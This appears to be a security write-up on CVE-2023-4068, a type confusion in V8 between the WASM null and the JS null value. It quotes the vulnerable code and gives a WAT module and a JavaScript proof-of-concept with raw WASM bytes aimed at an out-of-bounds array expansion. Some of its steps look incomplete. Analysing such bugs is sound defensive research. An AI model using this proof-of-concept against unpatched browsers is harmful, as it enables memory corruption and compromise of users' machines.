CVE-2023-4068
WASM Null vs JS Null Type Confusion ()
Bug Type
V8 introduced a WASM null type for WebAssembly references while still keeping the JS null-value object. Some engine paths mistakenly treat the JS null-value as a WASM null. This type confusion allows reading or writing beyond the allocated JS null object.
Commit 455d38ff8df7303474e8ead05cad659aac0a1bbc
Bug Location
From src/wasm/constant-expression-interface.cc
:
WasmValue DefaultValueForType(ValueType type, Isolate* isolate) {
switch (type.kind()) {
case kI32:
case kI8:
case kI16:
return WasmValue(0);
case kI64:
return WasmValue(int64_t{0});
case kF32:
return WasmValue(0.0f);
case kF64:
return WasmValue(0.0);
case kS128:
return WasmValue(Simd128());
case kRefNull:
return WasmValue(isolate->factory()->null_value(), type); // ---> [2]
case kVoid:
case kRtt:
case kRef:
case kBottom:
UNREACHABLE();
}
}
When type.kind()
is kRefNull
, DefaultValueForType
always returns the JS null_value
, without checking whether a WASM null is expected. As a result, structure members or references that should be treated as wasm-null
may incorrectly point to a JS null_value
, creating a type confusion between the two null types.
V8 Structs for JS NullValue and WASM Null
JS NullValue
From src/objects/heap-object.h
:
class HeapObjectPtr : public ObjectPtr {
public:
inline Map map() const;
inline int Size() const;
operator HeapObject*() { return reinterpret_cast<HeapObject*>(ptr()); }
};
WASM Null
From src/wasm/wasm-objects.h
:
class WasmNull : public TorqueGeneratedWasmNull<WasmNull, HeapObject> {
public:
static constexpr int kSize = 64 * KB + kTaggedSize;
Address payload() { return ptr() + kHeaderSize - kHeapObjectTag; }
};
- WASM null is 64 KB+, while JS null_value is only 16 bytes.
- The size mismatch allows OOB memory access if a JS null is misinterpreted as WASM null.
Generating WASM Ref Null Module (WAT)
(module
(type $t0 (func))
(func $main
;; Allocate a ref.null of externref type
(local $r externref)
(local.set $r (ref.null extern))
)
(export "main" (func $main))
)
WASM GC Type Confusion with OOB Example
let objArr = [{}, {}];
let doubleArr = [1.1, 2.2, 3.3];
let oobArr = [1.1, 1.1, 1.1]; // array to be expanded via bug
var wasm_code = new Uint8Array([
0,97,115,109,1,0,0,0,1,38,6,80,0,95,1,127,1,
80,0,95,1,108,0,1,80,0,95,1,108,1,0,80,0,95,
1,108,2,0,80,0,95,1,108,3,0,96,0,0,3,2,1,5,
4,12,1,64,0,107,4,1,1,2,251,8,4,11,7,8,1,4,
109,97,105,110,0,0,10,29,1,27,0,65,0,37,0,251,
3,4,0,251,3,3,0,251,3,2,0,251,3,1,0,251,3,0,
0,26,11
]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
// Step 3: Trigger WASM GC bug to expand `oobArr`
wasm_instance.exports.main(); // internally calls DefaultValueForType(kRefNull)
console.log("oobArr length after bug:", oobArr.length);
DefaultValueForType(kRefNull)
always returns JS null_value.- Engine expects WASM null, so memory past the JS null_value can be accessed.